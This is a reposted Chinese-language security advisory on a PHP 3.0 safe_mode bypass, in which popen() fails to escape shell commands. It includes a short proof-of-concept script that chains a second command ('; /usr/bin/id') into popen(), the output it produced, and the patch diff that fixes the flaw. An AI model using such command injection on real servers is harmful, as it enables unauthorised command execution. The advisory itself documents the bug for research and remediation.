| 
| 技术资料  > PHP技术 > 入门教程 : PHP3 'safe_mode' 失效漏洞 |  
PHP3 'safe_mode' 失效漏洞 March 25,2004 |  
受影响的系统:  PHP 3.00   
--------------------------------------------------------------------------------  
描述:  
   
    PHP Version 3.0是一个HTML嵌入式脚本语言。其大多数语法移植于C、Java和Perl并结合了  
PHP的特色。这个语言可以让web开发者快速创建动态网页。  
    
    因其执行在web服务器上并允许用户执行代码,PHP内置了称为'safe_mode'的安全特性,  
用于控制在允许PHP操作的webroot环境中执行命令。  
    
    其实现机制是通过强制执行shell命令的系统调用将shell命令传送到EscapeShellCmd()  
函数,此函数用于确认在webroot目录外部不能执行命令。  
    
    在某些版本的PHP中,使用popen()命令时EscapeShellCmd()却失效了,造成恶意用户可  
以利用'popen'系统调用进行非法操作。  
   
--------------------------------------------------------------------------------  
测试程序:  
   
警 告:以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!  
   
<?php  
$fp = popen("ls -l /opt/bin; /usr/bin/id", "r");  
echo "$fp<br>n";  
while($line = fgets($fp, 1024)):  
printf("%s<br>n", $line);  
endwhile;  
pclose($fp);  
phpinfo();  
?>  
    
输出结果如下:  
    
1  
total 53   
-rwxr-xr-x 1 root root 52292 Jan 3 22:05 ls   
uid=30(wwwrun) gid=65534(nogroup) groups=65534(nogroup)   
and from the configuration values of phpinfo():  
safe_mode 0 1   
 
--------------------------------------------------------------------------------  
建议:   
Index: functions/file.c  
===================================================================  
RCS file: /repository/php3/functions/file.c,v  
retrieving revision 1.229  
retrieving revision 1.230  
diff -u -r1.229 -r1.230  
--- functions/file.c 2000/01/01 04:31:15 1.229  
+++ functions/file.c 2000/01/03 21:31:31 1.230  
@@ -26,7 +26,7 @@  
| Authors: Rasmus Lerdorf <[email protected]> |  
+----------------------------------------------------------------------+  
*/  
-/* $Id: file.c,v 1.229 2000/01/01 04:31:15 sas Exp $ */  
+/* $Id: file.c,v 1.230 2000/01/03 21:31:31 kk Exp $ */  
#include "php.h"  
#include <stdio.h>  
@@ -51,6 +51,7 @@  
#include "safe_mode.h"  
#include "php3_list.h"  
#include "php3_string.h"  
+#include "exec.h"  
#include "file.h"  
#if HAVE_PWD_H  
#if MSVC5  
 
@@ -575,7 +576,7 @@  
pval *arg1, *arg2;  
FILE *fp;  
int id;  
- char *p;  
+ char *p, *tmp = NULL;  
char *b, buf[1024];  
TLS_VARS;  
    
@@ -600,7 +601,11 @@  
} else {  
snprintf(buf,sizeof(buf),"%s/%s",php3_ini.safe_mode_exec_dir,arg1->value.str.val);  
}  
    
- fp = popen(buf,p);  
    
+  
+ tmp = _php3_escapeshellcmd(buf);  
+ fp = popen(tmp,p);  
+ efree(tmp); /* temporary copy, no longer necessary */  
+  
if (!fp) {  
php3_error(E_WARNING,"popen("%s","%s") - %s",buf,p,strerror(errno));  
RETURN_FALSE;   
  
 
原作者:hongchao   
来源:继文在线    
         |  
 
 |